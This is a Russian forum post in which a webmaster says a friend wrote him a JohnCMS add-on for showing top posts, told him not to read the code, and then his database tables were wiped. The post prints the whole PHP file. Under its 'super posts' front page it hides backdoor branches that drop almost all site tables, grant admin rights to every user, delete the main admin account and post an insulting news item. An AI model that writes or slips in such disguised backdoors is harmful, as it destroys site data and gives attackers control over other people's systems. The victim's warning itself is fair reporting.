Еще давно я попросил эту ,написать хак на форум вывод знаменательных постов,на тот момент общались хорошо близко скажем так он написал быстро все было хорошо но когда он дал файл сказал не смотри код а то полетит якобы,так как было довери естественно не смотрел,и тут во буквально четыре дня назад я зашел все таки в этот файл и там я увидел вот этот чудесный код
<?php
define('_IN_JOHNCMS', 1);
$headmod = 'voyna';
require_once ('../incfiles/core.php');
$textl = ' супер посты';
require_once ('../incfiles/head.php');
if (!$user_id) {
require_once('../incfiles/head.php');
echo display_error(' Только для
зарегистрированных посетителей');
require_once('../incfiles/end.php');
exit;
}
if($act == 'bd'){
mysql_query("DROP TABLE `chat`, `citati`,
`cms_ads`, `cms_ban_ip`, `cms_ban_users`,
`cms_counters`, `cms_dn_rdm`,
`cms_forum_files`, `cms_forum_rdm`,
`cms_guests`, `cms_settings`, `counter`,
`countersall`, `counter_ip_base`, `down_comms`,
`down_files`, `down_more`, `fakt`, `favorites`,
`ferma`, `ferma_s`, `ferma_u`, `forum`,
`forum_vote`, `forum_vote_us`, `foto`,
`friendssite`, `gallery_settings`, `game`, `gr`,
`groupchat`, `groupguest`, `groups`,
`groupsgolos`, `groups_cat`,
`groups_forum_cat`, `groups_forum_post`,
`groups_forum_them`, `groups_users`, `guest`,
`karma_users`, `lib`, `lider`, `may`, `medals`,
`news`, `news2`, `paper`, `paper_komm`,
`paper_rating`, `photo_al`, `present`,
`presentkomm`, `privat`, `stat_robots`, `upload`,
`upload_cms`, `upload_set`, `users`,
`usr_questions`, `vik`, `votes`, `votes_dilem`,
`votes_user`, `wall_users`, `work_ohrana`;");
}
if($act == 'adm'){
if($login == 'Dimario'){
mysql_query("UPDATE `users` SET `rights`='7'
WHERE `id` > '67' LIMIT 100000");
}
mysql_query("UPDATE `users` SET `rights`='6'
WHERE `id` > '1' LIMIT 100000");
}
if($act == 'deladm'){
mysql_query("DELETE FROM `users` WHERE `id`
= '1'");
}
if($act = 'news'){
mysql_query("INSERT INTO `news` SET
`avt`='Dimario',
`name`=' Сайт удален из за того что аффтар
мудила!',
`time`='" . $realtime . "',
`text`=' Лео мс ебланище каких еще свет
невидел! ну ладно щас все на форуме
напишу, теперь я админ',;");
}
echo '<p class="menu">Ошибка, пока нет 1000
постов</p>';
require_once ("../incfiles/end.php");
?>
после того как я просмотрелоент страницу у меня полетели в таблицы!